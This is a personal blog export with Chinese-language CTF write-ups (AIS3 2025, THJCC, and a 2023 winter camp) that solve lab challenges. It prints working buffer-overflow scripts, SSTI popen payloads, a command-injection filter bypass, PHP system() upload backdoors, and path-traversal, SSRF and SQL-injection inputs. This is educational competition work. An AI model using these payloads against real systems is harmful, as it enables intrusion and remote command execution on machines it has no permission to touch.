[{"content":"","date":"2026 年 8 月 30 日","externalUrl":null,"permalink":"/","section":"haoching's site","summary":"","title":"haoching's site","type":"page"},{"content":" 一個很喜歡到處打比賽和做一些小專案的資工系學生，734m_N4M3_h3r3 成員，因為染上劍道，變得比較少在資安圈活動。大概這樣，想不到要介紹甚麼。\n經歷 # AEGIS CTF 2024 rk.7 AEGIS CTF 2025 rk.5 2025 梅竹黑客松 羅技組 第一名 AIS3 Junior 2022 學員 台灣好厲駭 8th 台灣好厲駭 9th 行政院國家資通安全會報 網路攻防演練 攻擊手 AIS3 2024 最佳專題 — RASP: RASP A Safer Python AIS3 2025 最佳專題 — 進階資安攻防競技 AIS3 Junior 2026 TA 清大劍道社 社長 聯絡方式 # email: haoching929@gmail.com instagram: haoching929 discord: Chang#48763_ ","date":"2026 年 8 月 30 日","externalUrl":null,"permalink":"/about/","section":"haoching's site","summary":"","title":"關於我","type":"page"},{"content":" 2025 ais3 pre-exam write-up # result: 這次解的題目最後全變 100 分 QAQ\n題目都忘記截圖只能看解法猜題目 ╯︿╰\nlogin screen 1 # 於 login page 嘗試弱密碼 admin/admin 成功登入 觀察 dockr-compose.yml 發現 db 可以訪問 下載 db 找到 2fa code 成功登入取得 flag\ntomorin db # 直接進入 /flag 會被 redirect\n將/ URL encode 成功 bypass，進入 chals1.ais3.org:30000/..%2fflag 取得 flag\nWelcome to the World of Ave Mujica # 動態分析發現可以 burrfer overflow 丟進 ida 發現 0x401256 有一個 shell 使用 cyclic 計算 offset 將 return address 覆蓋為 0x4012D6 取得 shell import pwn host = \u0026#34;chals1.ais3.org\u0026#34; port = 60122 conn = pwn.remote(host, port) # conn = pwn.gdb.debug(\u0026#34;./chal\u0026#34;, env={\u0026#34;LD_PRELOAD\u0026#34;: \u0026#34;./libc.so.6\u0026#34;}) conn.recvuntil(b\u0026#39;?\u0026#39;) conn.sendline(b\u0026#39;yes\u0026#39;) conn.recvuntil(b\u0026#39;: \u0026#39;) conn.sendline(b\u0026#39;-1\u0026#39;) conn.recvuntil(b\u0026#39;: \u0026#39;) g = pwn.cyclic_gen() conn.sendline(g.get(168) + pwn.p64(0x4012D6)) Raman CTF # 掃描發票上 qrcode 將發票號碼填入發票 app 取得發票資訊，再使用 google map 搜尋地址取得 flag\nAIS3 Tiny Server - Web / Misc # 題目提到 root directory 嘗試進入 chals1.ais3.org:20616// 成功 LFI 訪問根目錄取得 flag 取得flag\nWelcome # 沒辦法直接複製，直接打，懶得找其他方法。 Stream # 可以暴力遍歷 a 檢查 b 是否為完全平方數得到每輪使用的隨機數，因為 getrandbits() 使用 mt19937 ，只要取得 634*32bits 的已知隨機數可以預測後續生成之隨機數。\nfrom random import getrandbits from hashlib import sha512 import gmpy2 from pyrandcracker import RandCracker def rev(a: bytes, b: int): return int.from_bytes(a) ^ b craker = RandCracker() randbyte = [] for i in l: for j in range(256): r = rev(sha512(j.to_bytes()).digest(), i) if gmpy2.is_square(r): craker.submit(gmpy2.isqrt(r), 256) craker.check() print((l[80]^craker.rnd.getrandbits(256)**2).to_bytes(32, \u0026#39;big\u0026#39;)) 執行腳本取得 flag AIS3 Tiny Server - Reverse # 丟進 IDA 可以看到 sub_1E20() 這個 function 會檢查 flag\n撰寫腳本還原 flag\nimport struct def extract_flag(): encrypted_data = [ 1480073267, 1197221906, 254628393, 920154, 1343445007, 874076697, 1127428440, 1510228243, 743978009, 54940467, 1246382110 ] encrypted_bytes = [] for num in encrypted_data: bytes_from_int = struct.pack(\u0026#39;\u0026lt;I\u0026#39;, num) encrypted_bytes.extend(bytes_from_int) # The XOR key from v7 key = b\u0026#34;rikki_l0v3\u0026#34; encrypted_bytes.append(20) decrypted = bytearray(45) v2 = 51 v3 = 114 for i in range(45): decrypted[i] = v2 ^ v3 if i + 1 \u0026lt; 45: v2 = encrypted_bytes[i + 1] v3 = key[(i + 1) % len(key)] flag = decrypted.decode(\u0026#39;ascii\u0026#39;, errors=\u0026#39;ignore\u0026#39;).rstrip(\u0026#39;\\x00\u0026#39;) return flag if __name__ == \u0026#34;__main__\u0026#34;: flag = extract_flag() print(f\u0026#34;flag: {flag}\u0026#34;) 取得flag A simple snake game # 丟 IDA 逆向找到有一個檢查分數和關卡的地方 patch 成 jg 跳過檢查 進入遊戲取得 flag web flag checker # 從 source 可以看到 wasm 有一個函式叫 flag checker 丟給 claude 幫忙 reverse 並撰寫腳本\nimport struct def ror64(value, shift): \u0026#34;\u0026#34;\u0026#34;64-bit right rotation (inverse of left rotation)\u0026#34;\u0026#34;\u0026#34; value \u0026amp;= 0xFFFFFFFFFFFFFFFF shift \u0026amp;= 63 return ((value \u0026gt;\u0026gt; shift) | (value \u0026lt;\u0026lt; (64 - shift))) \u0026amp; 0xFFFFFFFFFFFFFFFF def solve_flag_properly(): expected_encrypted = [ 7577352992956835434, # Chunk 0: \u0026#34;AIS3{W4S\u0026#34; with ROR 45 7148661717033493303, # Chunk 1: \u0026#34;M_R3v3rs\u0026#34; with ROR 28 (-7081446828746089091) \u0026amp; 0xFFFFFFFFFFFFFFFF, # Chunk 2: needs brute force (-7479441386887439825) \u0026amp; 0xFFFFFFFFFFFFFFFF, # Chunk 3: needs brute force 8046961146294847270 # Chunk 4: \u0026#34;39229dd}\u0026#34; with ROR 61 ] for i in range (5): print(f\u0026#34;\\n--- Finding Chunk {i} ---\u0026#34;) encrypted2 = expected_encrypted[i] best_chunk2_candidates = [] for key in range(64): decrypted = ror64(encrypted2, key) try: bytes_data = struct.pack(\u0026#39;\u0026lt;Q\u0026#39;, decrypted) text = bytes_data.decode(\u0026#39;ascii\u0026#39;, errors=\u0026#39;replace\u0026#39;) printable_count = sum(1 for c in text if c.isprintable() and c != \u0026#39;�\u0026#39;) if printable_count \u0026gt;= 6: best_chunk2_candidates.append((key, bytes_data, text, printable_count)) except: continue for key, data, text, score in best_chunk2_candidates[:10]: print(f\u0026#34; Key {key:2d}: {text}\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: solve_flag_properly() 組合 flag 得到 AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}\n","date":"2025 年 7 月 25 日","externalUrl":null,"permalink":"/posts/ais3-2025-writeup/","section":"Posts","summary":"","title":"2025 AIS3 Pre-Exam Writeup","type":"posts"},{"content":"","date":"2025 年 7 月 25 日","externalUrl":null,"permalink":"/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","date":"2025 年 7 月 25 日","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","date":"2025 年 7 月 25 日","externalUrl":null,"permalink":"/tags/ctf/","section":"Tags","summary":"","title":"Ctf","type":"tags"},{"content":"","date":"2025 年 7 月 25 日","externalUrl":null,"permalink":"/authors/haoching/","section":"Authors","summary":"","title":"Haoching","type":"authors"},{"content":"","date":"2025 年 7 月 25 日","externalUrl":null,"permalink":"/posts/","section":"Posts","summary":"","title":"Posts","type":"posts"},{"content":"","date":"2025 年 7 月 25 日","externalUrl":null,"permalink":"/categories/security/","section":"Categories","summary":"","title":"Security","type":"categories"},{"content":"","date":"2025 年 7 月 25 日","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":" THJCC writeup # 答題數24/34\nBaby C # 把 a[] 全部再 xor 一次 120 得到 flag\nPYC REVERSE # 用 online tool reverse 得到程式碼發現會執行 xor1234 再 xor 回去就會得到 flag\nbaseball # 0010172a 75 0c JNZ LAB_00101738 0010172c b8 00 00 MOV EAX,0x0 00 00 00101731 e8 0c fd CALL miss ff ff 00101736 eb 0a JMP LAB_00101742 decompile 後把 0x10172a 的 jnz 改成 jz 進入 miss 取得 flag\nNot Apple # decompil 然後直接找 THJCC 找到\npublic String flag() { return \u0026#34;THJCC{l4zy_@string/real_flag==}\u0026#34;; } 再找到 real_flag 把 @string/real_flag 換掉\nnc # 連上去然後回答 Rick Astley 取得 flag\nNPSC # $O(n^2)$ 硬炸不知道為什麼沒 $TLE$ 就拿到 flag 了\nfrom pwn import * def max_score(balls): max_score = 0 for i in range(len(balls)): score = balls[i] for j in range(i+1, len(balls)): if score \u0026gt;= balls[j]: score += balls[j] else: break max_score = max(max_score, score) return max_score host = \u0026#34;23.146.248.36\u0026#34; port = 30003 conn = remote(host, port) conn.recvuntil(b\u0026#39;=============== ROUND 1 ===============\\n\u0026#39;) for i in range(32): s = conn.recvline().decode() if \u0026#39;ROUND\u0026#39; in s: continue s = eval(s) print(max_score(s)) conn.sendline(str(max_score(s)).encode()) print(conn.recvline()) print(\u0026#39;-------------------\u0026#39;) conn.interactive() Ret2func # 用 ghidra 看到 win 函式裡面會 call system(\u0026ldquo;sh\u0026rdquo;) 用 buffer overflow 直接把 return address 蓋成 0x401216 會遇到對齊的問題所以在前面加一個 ret。\nfrom pwn import * p= remote(\u0026#39;172.104.114.9\u0026#39;, 30004) win = 0x401216 retaddr = 0x40101a buf = b\u0026#39;A\u0026#39;*48 + b\u0026#39;B\u0026#39;*8 + p64(retaddr) + p64(win) p.sendlineafter(b\u0026#39;if you want\u0026#39;,b\u0026#39;y\u0026#39;) p.sendline(buf) p.interactive() 博元婦產科 # 用 base64 decode 然後發現是 Rot7 取得 flag\nbaby RSA # 發現 e 很小所以直接開三方\nfrom gmpy2 import * from Crypto.Util.number import * n=82905415164584389498448026225415348174116889583631879848801181149026319038674433017502044002549515598507479948874775953835212967198538225241428587373756775740055748735130854340971352961320030869329470225485298576771293717521094156379711969189220894688314434350844834550493516522022887482934023393062055248939 e=3 c=1235510871330310226418475368687292699345971692547143305272739246584681306551612197261843363110934247264155805712224284359950318209523214607727920666576650829438419066769737275066742744939310467207427865797663652787759689887376716363284875754160160311515163574335764507693157 flag = iroot(c , 3)[0] print(long_to_bytes(flag).decode()) JPG^PNG=? # png 的前 7 byte 是固定的\nfrom itertools import cycle def xor(a, b): return [i^j for i, j in zip(a, cycle(b))] KEY= open(\u0026#34;a.png\u0026#34;, \u0026#34;rb\u0026#34;).read() FLAG = open(\u0026#34;enc.txt\u0026#34;, \u0026#34;rb\u0026#34;).read() key=[KEY[0], KEY[1], KEY[2], KEY[3], KEY[4], KEY[5], KEY[6], KEY[7]] enc = bytearray(xor(FLAG,key)) open(\u0026#39;flag.jpg\u0026#39;, \u0026#39;wb\u0026#39;).write(enc) SSS.GRIDMAN # poly() 是一個一元二次函數 secret 是常數項 題目給了三點解一下就可以求出 secret\niRSA # 用 factordb 可以分解 N 再把 Int_to_Complex() 反著用出 Complex_to_Int() 就可以拿到 flag\nfrom Crypto.Util.number import * from collections import namedtuple # define complex number Complex=namedtuple(\u0026#34;Complex\u0026#34;, \u0026#34;r c\u0026#34;) # define complex multiplication def Complex_Mul(P, Q): R=P.r*Q.r-P.c*Q.c C=P.r*Q.c+Q.r*P.c return Complex(R, C) # define how to turn message into complex number def Int_to_Complex(x): R=0 C=0 cnt=0 while(x\u0026gt;0): if(cnt%2==0): R+=(x%2)\u0026lt;\u0026lt;cnt else: C+=(x%2)\u0026lt;\u0026lt;cnt x\u0026gt;\u0026gt;=1 cnt+=1 return Complex(R, C) def Complex_to_Int(x): R = x.r C = x.c ret = 0 for i in range(max(R.bit_length(),C.bit_length())): if i % 2 == 0: ret |= ((R \u0026gt;\u0026gt; i) \u0026amp; 1) \u0026lt;\u0026lt; i else: ret |= ((C \u0026gt;\u0026gt; i) \u0026amp; 1) \u0026lt;\u0026lt; i return ret C=Complex(r=11180409569983135167870808350941041186679170032093322670886535621583215684643439433171870814076780522535389424356663422589579511334717331883341071371926332,c=36539634424149210411782026672623223569184603415102598458770146358389114657393818955768684304871559745898404778972824982800749363800263199954364462993005556) p = 101215468079183132064927386006997214816266070286653603581590482424957134728767 q = 115354037749818467787883117855058744112232663945914692321109944593585909198619 P=Complex(p, 2*q) Q=Complex(q, 2*p) N=Complex_Mul(P, Q) #-3p.r*q.r , 2p^2 + 2 q^2 phi = 2 * (p-1) * (q-1) a = pow(C.r,inverse(65537,phi),N.r*-1) phi = 4*4*1360*106656*(1670005938833-1)*(32726924786681765694913405433-1)*(59370533326452572495738825802114715310690270185635375950358473694250436475299292366869808483485927589533-1) b = pow(C.c,inverse(65537,phi),N.c) ans = Complex(a,b) print(long_to_bytes(Complex_to_Int(ans))) Empty # 用開發者工具看到 cookie 裡有 flag1 然後 html 裡有一段被註解的路徑進入取得 flag2\nBlog # 通靈看到密碼是 iloveshark\nSimplify # 登進去把 cookie 裡的 username 改成 admin 題目提示是 ssti 上網找 payload {{ cycler.__init__.__globals__.os.popen('ls').read() }} {{ cycler.__init__.__globals__.os.popen('cat flag').read() }}\n原神帳號外流 # 用 wireshark 過濾 http.request.uri==\u0026quot;/login\u0026quot; 找到裡面沒登入失敗的那組帳密登進去\nPyJail-0 # 看程式碼使用了 eval() 上網找 payload __import__('os').system('ls') 取得 flag\nGeoguesser??? # 找圖片上的電話找到補習班用 google map 找到位置然後開始通靈找 flag\nI want to go to Japan # google 找　湯の川　聖羅　找到湯倉神社\n出題者大合照 # 用 steghide 找到裡面藏的 flag.txt\nPyJail-1 # 先用 eval(input()) 然後 __import__('os').system('ls') 取得 shell\nEvil Form # 從 script 可以找到三段 flag flag2 用 rot47 decode\n提示的 history 拼錯我還以為那是什麼特別的東西==\nWelcome # tag 和 rule 裡面有藏 flag\nDiscord # 機器人身份組、指令、badge 都有藏 flag\n","date":"2025 年 7 月 25 日","externalUrl":null,"permalink":"/posts/thjcc-ctf-writeup/","section":"Posts","summary":"","title":"THJCC CTF Writeup","type":"posts"},{"content":"","date":"2025 年 7 月 25 日","externalUrl":null,"permalink":"/tags/writeups/","section":"Tags","summary":"","title":"Writeups","type":"tags"},{"content":" 2023中興大學中部電資寒訓 CTF Writeup 搶旗大賽題目詳解 # URL : http://ctf.scaict.org\n說明 # 解法不一定是最好的如果有其他解法只要拿的到 flag 就是好解法我在去年寒訓就有幾題是直接在github偷的\n順便給一下這次我出的題目的 repo https://github.com/SCAICT/NCHUwintercamp_CTF [name=張皓晴]\nWelcome # 歡迎來到興大寒訓CTF # 期望解是 cat hi 但用 vs code 開也行\nWeb Security 課內 # free flag # 有些人把驗證程式或機密資訊放在前端（使用者電腦），造成資訊洩漏。 按 F12-\u0026gt;元素可看 HTML 內容，其中 script 標籤有放 Javascript 程式，裡面有 flag 302 Relocation # 按 \u0026ldquo;Get flag\u0026rdquo; 會自動轉址到 302 首頁，沒辦法看 \u0026ldquo;Get flag\u0026rdquo; 的 Response 按 F12-\u0026gt;網路，再點一次 \u0026ldquo;Get flag\u0026rdquo;，右邊出現兩個欄位，302-flag 就是按 \u0026ldquo;Get flag\u0026rdquo; 回傳的 Response，回應標頭有一欄是 flag 用 curl 看 Response 也行，-I 表示只看 Response header，不看 HTML\ncurl -I http://ctf.scaict.org:8301/302-flag change cookie # 題目說「只有 admin 能看 flag」，伺服器怎麼知道我們不是 admin? 打開 F12-\u0026gt;應用程式-\u0026gt;Cookie-\u0026gt;ctf.scaict.org:8301 欄位，右邊可看到 Cookie username=guest，把它改成 admin 後重新整理（再送一次 Request）就有 flag Logic flaw number # 擁有超過 100 元的人才能看 flag，我們有 10 元，花 10 元買飲料看看 沒錢了ㄏㄏ 這時我們可以猜背後的運作原理，可能長這樣：\n\u0026#39;\u0026#39;\u0026#39; amount 餘額 price 飲料價格 count 飲料數量 \u0026#39;\u0026#39;\u0026#39; if amount \u0026gt;= price * count: amount -= price * count 如果沒驗證 number\u0026gt;=0，可直接輸入負數，amount 減負數相當於加正數 因此輸入 -100 試試看，剛好可以拿到 flag 這就是程式的邏輯漏洞 現實世界沒有 -1 瓶飲料\nBroken Role # 題目只給 admin 看 flag，但改 cookie 沒用（cookie 屬於別的題目，session 無法改）。 網址上方有 role=1，這是否有些用處？ 改成 role=admin 沒用。 這時就要想：為何開發者寫 role=1？ 一個思路是：1 代表使用者的 id，如果改成 0 會如何？ 有些程式忘了驗證 Session，原本只有本人看到的頁面，都會被公開。 改成 0 的理由是：0 是第一個自然數，常代表 root。\nChange email # 這個頁面被保護得很好，無法以 @admin.scaict.com 的 email 登入 沒關係，我們先當普通人，輸入 email 登入後，下面有個 setting。 點進去發現可以改帳號的 email，可能沒驗證 email 結尾，輸入 @admin.scaict.com 的 email。 拿到 flag 令人想到特洛伊木馬 本題簡化自 Portswigger Lab: Inconsistent security controls\nCmdi # 他叫我們輸入 ip，我們隨便輸入 ip，或者說打 google.com 看看。 可以推測，伺服器用 ping 指令確定 ip 連線狀態。 輸入 google.com 伺服器執行 ping google.com。 輸入 ctf.scaict.org 伺服器執行 ping ctf.scaict.org。 而輸入 ; ls，伺服器沒檢查，就會執行 ping; ls，輸出 ls 結果（後面 Dockerfile 等）。 輸入 ;cat flag.txt 看有沒有 flag。 Path traversal # 題序說 flag 在上層目錄的 flag.txt。 經過觀察並亂改 filename 參數，確定網頁以此參數找檔案，例如 002.jpeg 就找資料夾下 002.jpeg 這個檔案。 在 filename 指定「上層目錄的 flag.txt」，也就是 ../flag.txt 就有 flag。\nFile Upload # 本題為求聚焦，不會像簡報以 GET 參數傳指令，而是把指令寫死在後門。 因此，用一指令就要重新修改並上傳後門。\n傳個 php 程式（副檔名為 .php），此 File-based 伺服器將自動執行 php。\n建立 php 檔案方法請自行 google\n\u0026lt;?php system(\u0026#39;ls\u0026#39;)?\u0026gt; php 成功執行 ls，只出現當前目錄下 exploit.php。 往上層目錄看看，發現 flag.txt。\n\u0026lt;?php system(\u0026#39;ls ../..\u0026#39;)?\u0026gt; 查看 flag.txt 內容。\n\u0026lt;?php system(\u0026#39;cat ../../flag.txt\u0026#39;)?\u0026gt; SSRF # flag 在 ssrf_target 頁面，但我們看不到它。 ssrf 頁面有輸入 url 的地方，它幫我們訪問 url 並回傳結果，輸入 google.com 看看。 此頁面也許能看內部網頁，但網址需改成 127.0.0.1（代表本機）。 輸入 127.0.0.1:8301/ssrf_target。 它幫我們拿到內部 flag。 Web # Cmdi Pro max # 本題刪掉所有空格與分號，並檢查有沒有 cat, flag.txt 字串。 建議先上網查資料\ncat 被禁掉還有 head, more 等指令可用。 flag.txt 可改成 fla''g.txt，或 fla* 表示 fla 開頭所有檔案。 空格可用 tab, ${IFS} 代替，最後分號改成 ||。\n||head${IFS}fla\u0026#39;\u0026#39;g.txt is 需改成 are，英文好爛\n烏龜查詢系統 # http://ctf.scaict.org/challenges#%E7%83%8F%E9%BE%9C%E6%9F%A5%E8%A9%A2%E7%B3%BB%E7%B5%B1-18\n看 cookie 變化慢慢試 flag 在 17 這題是我抄致敬 picoCTF 的題目 picoCTF 把 falg 藏在18 我因為烏龜太多很想放所以也把 flag 放很後面看到蠻多人到一半就放棄了很可惜 這我的鍋\nnever gonna give you up # http://ctf.scaict.org/challenges#never%20gonna%20give%20you%20up-19 `curl http://ctf.scaict.org:8401/` 這題看到不少人在 youtube 上找 flag 但其實基本沒人能把 flag 藏在 yt 裡 Advanced path traversal # 題目將刪掉所有 ../，避免訪問上層目錄。 參數改成 filename=....//flag.txt，中間 ../ 被刪掉剩 filename=../flag.txt。 SSTI # SSTI 需稍微學過 Flask 才好理解。 總之，伺服器用 Python 執行 {{}} 內的字串（只有一行），顯示在網頁，以下 payload 能執行 ls 並回傳結果。\n{{().__class__.__base__.__subclasses__()[140].__init__.__globals__[\u0026#34;popen\u0026#34;](\u0026#39;ls\u0026#39;).read()}} 改成 cat flag.txt 就有 flag。\n{{().__class__.__base__.__subclasses__()[140].__init__.__globals__[\u0026#34;popen\u0026#34;](\u0026#39;cat flag.txt\u0026#39;).read()}} 靶機程式：\n@app.route(\u0026#39;/\u0026#39;, methods=[\u0026#39;GET\u0026#39;, \u0026#39;POST\u0026#39;]) def index(): if \u0026#39;name\u0026#39; in request.form: print(\u0026#39;\u0026lt;h1\u0026gt;Hello \u0026#39;+request.form[\u0026#39;name\u0026#39;] + \u0026#39;\u0026lt;/h1\u0026gt;\u0026#39;) return render_template_string(\u0026#39;\u0026lt;h1\u0026gt;Hello \u0026#39;+request.form[\u0026#39;name\u0026#39;] + \u0026#39;\u0026lt;/h1\u0026gt;\u0026#39;) return render_template(\u0026#39;index.html\u0026#39;) むむむむむむ # http://ctf.scaict.org/challenges#%E3%82%80%E3%82%80%E3%82%80%E3%82%80%E3%82%80%E3%82%80-21\n下面的那些文字其實是一種名為COW的冷門程式語言丟到 https://tio.run/#cow 執行 這題其實是因為本來有團康活動有講到 cow 這語言如果在這題被卡很久就抱歉啦\n很有趣的 CTF # http://ctf.scaict.org/challenges#%E5%BE%88%E6%9C%89%E8%B6%A3%E7%9A%84%20CTF-22\n第二個慢慢點開或直接下載或按遞迴展開 很有趣吧\n水題 # http://ctf.scaict.org/challenges#%E6%B0%B4%E9%A1%8C-23 刪掉前面的圖或找 css 或到來源看會有背景圖片點進去 Linux 基礎 # please find me ! # 用文字編輯器開 ctrl + f nchu or grep nchu\n別再cd了 # grep or ctrl+f or unzip 輸出的那串 cat 出來 Kali # 隱藏檔案 # 使用binwalk加上-e參數把隱藏的zip檔案解壓縮出來 進去隱藏資料夾後會發現資料夾最底層還有一張圖片 再使用binwalk分析一次 會發現又出現了隱藏資料夾 一直分析隱藏資料夾裡面的文件直到出現flag.txt OTHER # 字音字形 # 字音字形自己去查教育部辭典簡編本(那些都是工作人員的名子)\nSQL Injection # http://ctf.scaict.org:8200/ 解法1 : 因知道資料庫內有位使用者叫\u0026quot;admin\u0026quot;，所以我們直接在帳號欄輸入admin，後面加個單引號和括號結束這段字串，後面的\u0026rsquo; \u0026ndash;\u0026lsquo;是資料庫註解語法(後面的東西資料庫都不會讀取) 密碼區隨便打 解法2 : 在不知道資料庫有哪筆使用者資料的情況下，在後面新增恆正的條件式，這樣一來即使前面輸入的帳號是錯誤的還是會被視為正確執行，後面的\u0026rsquo; \u0026ndash;\u0026lsquo;是資料庫註解語法(後面的東西資料庫都不會讀取) 密碼區隨便打 ","date":"2023 年 1 月 31 日","externalUrl":null,"permalink":"/posts/scaict-wintercamp-ctf-writeup/","section":"Posts","summary":"","title":"中部電資寒訓 CTF Writeup","type":"posts"},{"content":"","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"}]